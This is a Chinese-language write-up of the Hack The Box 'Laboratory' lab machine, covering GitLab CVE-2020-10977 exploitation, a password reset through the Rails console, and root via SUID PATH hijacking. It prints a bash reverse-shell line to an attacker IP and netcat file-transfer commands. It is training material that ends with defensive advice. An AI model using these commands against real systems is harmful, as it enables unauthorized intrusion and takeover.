HTB: Laboratory 渗透测试
字数 1302 2025-08-14 12:04:14
Hack The Box: Laboratory 渗透测试教学文档
1. 靶机基础信息
- 平台: Hack The Box (HTB) - 在线渗透测试平台
- 靶机名称: Laboratory
- 难度等级: 简单/中等
- 操作系统: Linux (Ubuntu)
- IP地址: 10.129.110.208
- 官方链接: https://app.hackthebox.eu/machines/298
2. 信息收集阶段
2.1 端口扫描
使用Nmap进行端口扫描:
nmap -T4 -sV -A -O 10.129.110.208
扫描结果:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41
443/tcp open ssl/http Apache httpd 2.4.41 (Ubuntu)
2.2 Web服务枚举
- 访问80端口HTTP服务
- 发现三个用户(未明确列出用户名)
- 前端代码检查无有用信息
- 发现443端口HTTPS服务
- 访问
git.laboratory.htb发现GitLab登录界面
3. 漏洞探测与利用
3.1 GitLab版本识别
- 注册账号并登录GitLab
- 获取GitLab版本信息(未明确列出具体版本)
- 通过版本信息发现存在CVE-2020-10977漏洞
3.2 漏洞利用
使用公开的漏洞利用代码:
或使用Metasploit模块:
exploit/multi/http/gitlab_file_read_rce
成功利用后获取初始shell。
4. 权限提升
4.1 获取用户权限
- 由于初始shell权限较低,需要提升权限
- 通过GitLab Rails控制台修改高权限用户(Dexter)密码:
gitlab-rails console
user = User.all # 查询所有用户
user = User.find(1) # 通过ID查询用户
user.password = 'new_password'
user.password_confirmation = 'new_password'
user.save
user.state = 'active'
user.save
-
使用修改后的凭据登录:
- 用户名: dexter
- 密码: 00000000 (示例密码)
-
在Dexter的项目中获取SSH私钥(id_rsa)
-
将私钥复制到本地并设置权限:
chmod 600 id_rsa
- 使用SSH私钥登录系统
- 在/home目录下获取user.txt标志文件
4.2 获取root权限
-
使用LinEnum.sh进行本地提权检查
-
发现具有SUID属性的文件: docker-security
-
将文件传输到Kali进行分析:
- 在Kali上监听:
nc -l -p 1234 > docker-security- 在靶机上发送:
nc -w 5 [Kali_IP] 1234 < docker-security -
分析发现docker-security执行了chmod命令
-
通过伪造环境变量进行提权:
- 创建恶意的chmod脚本:
#!/bin/bash bash -i >& /dev/tcp/[Kali_IP]/4242 0>&1- 设置PATH环境变量优先查找当前目录:
export PATH=.:$PATH- 执行docker-security获取root shell
-
获取/root目录下的root.txt标志文件
5. 参考资源
6. 关键点总结
- 信息收集要全面: 不要忽略任何开放端口,特别是非常规端口
- 版本信息很重要: 准确识别服务版本可帮助发现可利用漏洞
- 权限提升路径:
- 初始访问 → GitLab RCE
- 横向移动 → 修改高权限用户密码
- 权限提升 → SUID滥用+环境变量劫持
- 工具使用:
- Nmap用于端口扫描
- Metasploit用于漏洞利用
- LinEnum.sh用于本地提权检查
- Netcat用于文件传输
7. 防御建议
- 及时更新GitLab到最新版本
- 限制SUID二进制文件的数量
- 使用完整的路径执行系统命令
- 实施最小权限原则
- 监控和限制用户密码重置操作